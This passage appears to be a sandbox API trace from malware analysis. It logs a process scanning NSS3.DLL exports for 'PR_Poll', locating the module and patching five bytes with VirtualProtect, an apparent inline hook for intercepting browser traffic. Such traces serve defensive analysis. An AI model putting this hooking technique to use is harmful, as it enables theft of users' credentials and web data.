(lpString1="ATOB_ConvertAsciiToItem_Util", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="BTOA_ConvertItemToAscii", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="BTOA_ConvertItemToAscii_Util", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="BTOA_DataToAscii", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="BTOA_DataToAscii_Util", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AddCertToListHead", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AddCertToListSorted", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AddCertToListTail", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AddExtension", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AddOCSPAcceptableResponses", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AddOKDomainName", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AddRDN", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AllocCERTRevocationFlags", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_AsciiToName", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_CRLCacheRefreshIssuer", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_CacheCRL", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_CacheOCSPResponseFromSideChannel", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_CertChainFromCert", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_CertListFromCert", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_CertTimesValid", lpString2="PR_Poll") returned -1 [0070.859] lstrcmpA (lpString1="CERT_ChangeCertTrust", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CheckCertUsage", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CheckCertValidTimes", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CheckNameSpace", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CheckOCSPStatus", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_ClearOCSPCache", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CompareCerts", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CompareName", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CompareValidityTimes", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CompleteCRLDecodeEntries", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_ConvertAndDecodeCertificate", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CopyName", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CopyRDN", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateAVA", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateCertificate", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateCertificateRequest", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateEncodedOCSPErrorResponse", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateEncodedOCSPSuccessResponse", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateName", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateOCSPCertID", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateOCSPRequest", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseGood", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseRevoked", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseUnknown", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateRDN", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateSubjectCertList", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_CreateValidity", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeAVAValue", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeAltNameExtension", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeAuthInfoAccessExtension", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeAuthKeyID", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeBasicConstraintValue", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeCRLDistributionPoints", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeCertFromPackage", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeCertPackage", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeCertificatePoliciesExtension", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeDERCrl", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeDERCrlWithFlags", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeGeneralName", lpString2="PR_Poll") returned -1 [0070.860] lstrcmpA (lpString1="CERT_DecodeNameConstraintsExtension", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DecodeOCSPRequest", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DecodeOCSPResponse", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DecodeOidSequence", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DecodePrivKeyUsagePeriodExtension", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DecodeTrustString", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DecodeUserNotice", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DerNameToAscii", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyCERTRevocationFlags", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyCertArray", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyCertList", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyCertificate", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyCertificateList", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyCertificatePoliciesExtension", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyCertificateRequest", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyName", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyOCSPCertID", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyOCSPRequest", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyOCSPResponse", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyOidSequence", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyUserNotice", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DestroyValidity", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DisableOCSPChecking", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DisableOCSPDefaultResponder", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DistNamesFromCertList", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DupCertList", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DupCertificate", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_DupDistNames", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EnableOCSPChecking", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EnableOCSPDefaultResponder", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeAltNameExtension", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeAndAddBitStrExtension", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeAuthKeyID", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeBasicConstraintValue", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeCRLDistributionPoints", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeCertPoliciesExtension", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeGeneralName", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeInfoAccessExtension", lpString2="PR_Poll") returned -1 [0070.861] lstrcmpA (lpString1="CERT_EncodeInhibitAnyExtension", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_EncodeNameConstraintsExtension", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_EncodeNoticeReference", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_EncodeOCSPRequest", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_EncodePolicyConstraintsExtension", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_EncodePolicyMappingExtension", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_EncodeSubjectKeyID", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_EncodeUserNotice", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_ExtractPublicKey", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FilterCertListByCANames", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FilterCertListByUsage", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FilterCertListForUserCerts", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCRLEntryReasonExten", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCRLNumberExten", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertByDERCert", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertByIssuerAndSN", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertByName", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertByNickname", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertByNicknameOrEmailAddr", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertByNicknameOrEmailAddrForUsage", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertBySubjectKeyID", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertExtension", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindCertIssuer", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindKeyUsageExtension", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindNameConstraintsExten", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindSMimeProfile", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindSubjectKeyIDExtension", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindUserCertByUsage", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FindUserCertsByUsage", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FinishCertificateRequestAttributes", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FinishExtensions", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FormatName", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FreeDistNames", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_FreeNicknames", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_GenTime2FormattedAscii", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_GenTime2FormattedAscii_Util", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_GetAVATag", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_GetCertChainFromCert", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_GetCertEmailAddress", lpString2="PR_Poll") returned -1 [0070.862] lstrcmpA (lpString1="CERT_GetCertIssuerAndSN", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetCertNicknames", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetCertTimes", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetCertTrust", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetCertUid", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetCertificateNames", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetCertificateRequestExtensions", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetClassicOCSPDisabledPolicy", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetClassicOCSPEnabledHardFailurePolicy", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetClassicOCSPEnabledSoftFailurePolicy", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetCommonName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetConstrainedCertificateNames", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetCountryName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetDBContentVersion", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetDefaultCertDB", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetDomainComponentName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetEncodedOCSPResponse", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetFirstEmailAddress", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetLocalityName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetNextEmailAddress", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetNextGeneralName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetNextNameConstraint", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetOCSPAuthorityInfoAccessLocation", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetOCSPResponseStatus", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetOCSPStatusForCertID", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetOidString", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetOrgName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetOrgUnitName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetPKIXVerifyNistRevocationPolicy", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetPrevGeneralName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetPrevNameConstraint", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetSSLCACerts", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetSlopTime", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetStateName", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetUsePKIXForValidation", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_GetValidDNSPatternsFromCert", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_Hexify", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_ImportCAChain", lpString2="PR_Poll") returned -1 [0070.863] lstrcmpA (lpString1="CERT_ImportCAChainTrusted", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_ImportCRL", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_ImportCerts", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_IsCACert", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_IsCADERCert", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_IsRootDERCert", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_IsUserCert", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_KeyFromDERCrl", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_MakeCANickname", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_MergeExtensions", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_NameToAscii", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_NameToAsciiInvertible", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_NewCertList", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_NewTempCertificate", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_NicknameStringsFromCertList", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_OCSPCacheSettings", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_OpenCertDBFilename", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_PKIXVerifyCert", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_PostOCSPRequest", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_RFC1485_EscapeAndQuote", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_RegisterAlternateOCSPAIAInfoCallBack", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_RemoveCertListNode", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_SaveSMimeProfile", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_SetOCSPDefaultResponder", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_SetOCSPFailureMode", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_SetOCSPTimeout", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_SetSlopTime", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_SetUsePKIXForValidation", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_StartCRLEntryExtensions", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_StartCRLExtensions", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_StartCertExtensions", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_StartCertificateRequestAttributes", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_UncacheCRL", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_VerifyCACertForUsage", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_VerifyCert", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_VerifyCertName", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_VerifyCertNow", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_VerifyCertificate", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_VerifyCertificateNow", lpString2="PR_Poll") returned -1 [0070.864] lstrcmpA (lpString1="CERT_VerifyOCSPResponseSignature", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="CERT_VerifySignedData", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="CERT_VerifySignedDataWithPublicKey", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="CERT_VerifySignedDataWithPublicKeyInfo", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_AsciiToTime", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_AsciiToTime_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_DecodeTimeChoice", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_DecodeTimeChoice_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_Encode", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_EncodeTimeChoice", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_EncodeTimeChoice_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_Encode_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_GeneralizedDayToAscii", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_GeneralizedDayToAscii_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_GeneralizedTimeToTime", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_GeneralizedTimeToTime_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_GetInteger", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_GetInteger_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_GetUInteger", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_LengthLength", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_Lengths", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_Lengths_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_SetUInteger", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_StoreHeader", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_TimeChoiceDayToAscii", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_TimeChoiceDayToAscii_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_TimeToGeneralizedTime", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_TimeToGeneralizedTimeArena", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_TimeToGeneralizedTimeArena_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_TimeToGeneralizedTime_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_TimeToUTCTime", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_TimeToUTCTime_Util", lpString2="PR_Poll") returned -1 [0070.865] lstrcmpA (lpString1="DER_UTCDayToAscii", lpString2="PR_Poll") returned -1 [0070.866] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe189f8 [0070.867] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe1d868 [0070.867] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189f8 | out: hHeap=0xa20000) returned 1 [0070.867] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1d868 | out: hHeap=0xa20000) returned 1 [0070.867] VirtualProtect (in: lpAddress=0x73c22e0f, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x3ffae4 | out: lpflOldProtect=0x3ffae4*=0x20) returned 1 [0070.867] VirtualProtect (in: lpAddress=0x73c22e0f, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x3ffae4 | out: lpflOldProtect=0x3ffae4*=0x40) returned 1 [0070.867] VirtualProtect (in: lpAddress=0x73c5423c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x3ffab0 | out: lpflOldProtect=0x3ffab0*=0x40) returned 1 [0070.867] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffa7c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffa7c, ReturnLength=0x0) returned 0x0 [0070.867] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x1000) returned 0xe1d868 [0070.868] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x77310000 [0070.869] GetProcAddress (hModule=0x77310000, lpProcName="EnumProcessModules") returned 0x77311408 [0070.869] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0xe1d868, cb=0x1000, lpcbNeeded=0x3ffb10 | out: lphModule=0xe1d868, lpcbNeeded=0x3ffb10) returned 1 [0070.869] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x1120000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x1120000, AllocationBase=0x1120000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.869] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.870] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e870 [0070.870] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.870] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.870] lstrcmpiA (lpString1="MSVCR100.dll", lpString2="NSS3.DLL") returned -1 [0070.870] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e870 | out: hHeap=0xa20000) returned 1 [0070.870] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.870] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.870] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.870] lstrcmpiA (lpString1="MSVCR100.dll", lpString2="NSS3.DLL") returned -1 [0070.870] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.870] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.870] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.870] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.870] lstrcmpiA (lpString1="MSVCR100.dll", lpString2="NSS3.DLL") returned -1 [0070.870] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.870] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.870] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.870] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.870] lstrcmpiA (lpString1="MSVCR100.dll", lpString2="NSS3.DLL") returned -1 [0070.871] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.871] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77340000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x77340000, AllocationBase=0x77340000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) 